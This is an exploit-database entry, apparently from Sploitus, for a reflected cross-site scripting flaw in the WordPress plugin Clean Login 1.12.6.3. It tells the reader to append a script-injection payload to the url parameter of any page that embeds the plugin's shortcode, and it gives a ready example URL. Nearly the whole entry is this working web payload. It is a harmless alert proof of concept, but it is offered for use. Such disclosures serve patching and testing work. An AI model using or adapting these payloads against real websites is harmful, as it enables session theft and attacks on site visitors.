Sploitus

Exploit for Clean Login 1.12.6.3 - Reflected Cross-Site Scripting

wpexploit · 2021-08-09

Exploit Code

MARKDOWN4 lines
## https://sploitus.com/exploit?id=WPEX-ID:6782EE79-6930-4A40-B416-D2248F78D995
Append the following payload on a page where the [clean-login] shortcode is embed: ?url="><script>alert(/XSS/)</script>

Example: https://example.com/clean-login/?url="><script>alert(/XSS/)</script>